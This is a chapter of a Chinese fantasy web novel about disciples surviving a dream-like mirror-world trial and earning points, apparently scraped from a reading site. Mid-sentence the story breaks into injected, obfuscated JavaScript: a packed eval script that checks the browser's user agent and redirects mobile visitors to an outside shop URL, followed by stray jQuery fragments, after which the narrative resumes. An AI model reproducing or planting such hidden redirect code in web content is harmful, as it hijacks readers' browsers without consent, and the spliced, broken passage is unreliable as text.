胡低很快便怒气冲冲的回来了,脸色阴沉,拳头上也挂了彩,似乎是方才发生过什么。
“我呸,一群没有礼貌的家伙,谁愿意掺和他们之间的事情,小爷不揍死他们已经是手下留情了。”
“这是发生了什么,怎么还受伤了?”
“哥,这个地方邪门的很,方才我过去看了那空着的几个摊位,虽没人看守,但都是被认过主的,我有试过,但一时半会儿没法强占过来,而且方才还碰到几个疯子,前一秒还谈笑风生,好端端地突然就争执起来,我本想过去劝解一二,谁知还被波及了,嘶,那几人下手是真的黑,早知道我该多给几拳的。”
胡低气呼呼地咒骂着,时不时眼神瞥向不远处的沈砚,忍不住翻了个白眼:“我就知道碰见这个家伙绝对没有好事会发生,真是晦气,我呸。”
胡高和陈与宣面面相觑,总觉得事情有些不简单,但眼下也只能走一步看一步了。
“离试炼还有几日,事情不会那般简单的,定有什么奥秘我们还未破解,而且我看这个法阵似乎时时刻刻都有变故,我们还是静观其变吧。”
“我观察过,这里应该是只能进不能出,从我们占领这个摊位之后,其余阵眼并无新变化,就连沈砚也出奇地安静,大家似乎都在等待什么。”
众人提心吊胆了一整晚,警惕的渡过了在这里的第一夜,天空刚泛起鱼肚白,朦朦胧胧间,胡高仿佛瞧见一道身影站到了自己面前,他揉了揉惺忪的眼睛,真是怪哉,他怎么就睡着了。
胡低站在他的面前,久久沉默不语。
“喂,小低你这是怎么了,站那发愣作甚?”胡高瞧不清他的神色,凭借着微弱的日光,仿佛瞧见胡低的脸色阴沉,蓦然,他冲上前掐住胡高的脖子,质问道:“为什么要瞒着我,为什么不告诉我有关沈砚的事情,从小到大你们都关系亲厚甚过于我,是不是你们从来没想过将我视作兄弟,为什么,为什么?”
突如其来的窒息感让胡高有些来不及思考,本能的想要逃离,好不容易挣脱了他的手,虚弱的反问:“我从未这么想过,我……”
“不要狡辩了,陈与宣已经将一切都告诉我了。”
胡高浑身发颤,不可置信,他已经有些分辨不出这究竟是梦还是现实,可方才的窒息感十分强烈,让他无法忽视。
他还想解释什么,只见胡低一拳袭来,胡高的嘴角瞬间破了道口。
“胡低,你疯了吗?”
“是,我是疯了,我嫉妒你,你比我聪明,比我更讨人喜欢,更得将军信用,若非如此,将军又怎么会亲自来信要调你回去,你瞒我瞒的好苦啊,从今以后,我们不再是兄弟,我没你这样的哥哥。”
“你该冷静冷静了,瞧瞧都在胡言乱语些什么?我何时给将军单独写信过。”胡高制止住了躁动的胡低,再一转身,便什么人影都瞧不见了。
另一边,沈砚也缓缓醒来了,尽管昨夜自己也没有入睡,但第二天依旧是从梦中醒来,对于这种现象他似乎已经习惯了,他照例巡视了一圈,并没有发现前两天那种异常,难道是一切恢复正常了?
正思索着,他望向胡高等人方向,隐隐瞧见胡高四处张望,行迹十分可疑,鬼鬼祟祟的朝着后门走去,沈砚心中有惑,不知不觉的就跟了上去,待意识到自己的行径后,已经立于墙根之下。
转角处,胡高似乎在和一个身着黑色衣袍的神秘人交谈,沈砚凑近了些,想要听清他们的谈话内容。
“他人就在这里,你们什么时候动手?”
“不急,现在大家都十分警惕不便动手,胡公子替我稳住他,待试炼宣告结束时我再动手也不迟。”
“这不是我们当初谈的条件,你答应我的东西呢?”
“等你回去了,自然会有人给你,和我合作定然不会亏待你,也多亏有胡公子你,我等才能抓住沈家余孽,答应的条件一个都不会少。”
沈砚将二人的谈话听得真切,满眼震惊却又不得不抑制住内心的怒意,他潜意识里认定这是不可能的事,他再清楚不过胡高的性子,绝不会做出这般背叛自己的事情,可就当事情发生在自己的面前,那么赤裸裸,那么不可辩解,他竟有了动摇,究竟为何……为何要背弃当初的承诺?
第二日的沙漠市集看上去一切正常,除了任凭陈与宣怎么拍打都无法唤醒的胡高和胡低,他意识到很有可能二人是被困在了梦里,只好寸步不离的守在摊位跟前,警惕的观察着身边的一切。
俶尔,一道声音传来。
“距离试炼大会还有一炷香时间结束,未能占领摊位的弟子将被随机抹杀,请做出最后选择,时辰结束后将从镜影世界抽离出来。”
不是还有一日吗,怎么提前了这么久,莫非是昨夜他们睡得太沉,这已经是最后一天了?
陈与宣有些将信将疑,却瞧见其他摊位前纷纷爆发的各种争端与打斗,战火很快就要波及到他们周边,胡高却仍旧没有苏醒的迹象,眼下只有从他手中夺取摊位令牌才能开启摊位法阵抵御住那些企图掠夺令牌的人,可他如何能做出这种背叛之事。
“胡大哥,快醒醒,胡大哥?你能听到我说话吗?”
陈与宣焦急的推着对方,仍旧是没有任何回应。
一个危险的念头在脑海中响起,只要杀了对方,自己便能重新和令牌缔结契约。
陈与宣察觉到一阵后怕,他与胡高、胡低,究竟是谁还在梦里?周边的一切实在过于诡异了。
他已经分辨不清,方才的慌乱也消散了,既然这只是梦,不若赌一把。
“检测到经历者有自毁倾向,积分扣五十。”
清冷的声音响起,陈与宣拿着匕首刺向自己的动作这才被制止住,下一秒周遭的一切都化作泡沫般消散,再睁开眼他又重新回到了崖底之下,而胡高和胡低也早就在那里等着自己。
“大哥,是你们吗?”陈与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773039|209584||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宣愣在原地,试探性问了问。
不远处,原地打坐的沈砚感叹道:“喂,你们这个小队友不太聪明的感觉。”
“我呸,这叫谨慎,你个阴险小人懂什么?”胡低立马回怼着,熟悉的感觉让陈与宣意识到刚才的一切都结束了,长长的舒了一口气。
“检测到经历者良好平衡了队内关系,积分加一百。”
“检测到经历者没有被忮忌蒙蔽违背本心,积分加五十。”
“恭喜完成试炼。”
……稀里哗啦的清冷音接连不断地响起。
几人瞬间坐不住了,头顶的天空化作一片金色,仿佛结界开启,众人很快便从镜影中剥离出去了。
试炼场上,最后幸存的弟子们面面相觑,满脸疲倦之意。
焚九念看向大家,安慰道:“恭喜诸位通过镜影生存赛的试炼,大家的积分结果已经出来了,稍后便由我的师妹为大家宣布成绩,前五百名将会自动晋级到最终的试炼——缥缈森林的历练,大家还有三日的休息时间,期待大家后面的精彩表现。。”
汤有舞接到指示后便上前开始公布结果。
焚九念随即悄悄离开,这些天里他恨不得时时刻刻关注到诸位弟子的情况,如今总算是可以松了口气。
“公子今日总不用去长老阁了吧。”见他过来,焚灵兮上前打趣着。
“自然不用,辛苦你了,这些天跟着我一起熬夜。”焚九念有些歉意。
“公子客气了,灵兮很高兴能够帮到公子,对了公子,你可有什么愿望?说不定我能帮你实现呢。”
焚九念认真的思索了片刻。
“我想睡个好觉,算吗?”
“噗嗤。”焚灵兮没想到这个愿望竟然如此朴实无华。
“当然算,公子尽管去休息,我保证不让任何人打搅到你!”焚灵兮拍了拍胸脯保证。
焚九念被她这副正经的模样逗笑了,轻声道:“好了不逗你了,接下来三天你也好好歇着吧,其他琐事交给文柒和文玖处理便是了。”
“知道了。”焚灵兮向来瞒不住心事,神情稍有异样便被焚九念察觉到了。
“你怎么了?有心事吗?”
“公子,我就是好奇那些成功没能通过镜影生存赛的弟子们是如何处置的。”
“会将他们平安遣送回各界的。”
“那成功晋升的弟子们呢,第二试炼会不会很艰难,真的只能留三百人下来吗?”
“很难说,缥缈森林神秘无比,就连我进去的次数也是屈指可数,里面究竟会发生什么都是未知,全凭个人机缘,或许留下的人会更多,也或许会更少。”
焚灵兮点了点头,很快二人便回到了文薪殿。
“公子,晚安,祝你今夜好梦。”焚灵兮说完便飞速跑回了自己的侧殿。
焚九念愣在原地,嘴角的弧度尚未消散。
“好梦。”他低声重复了一句。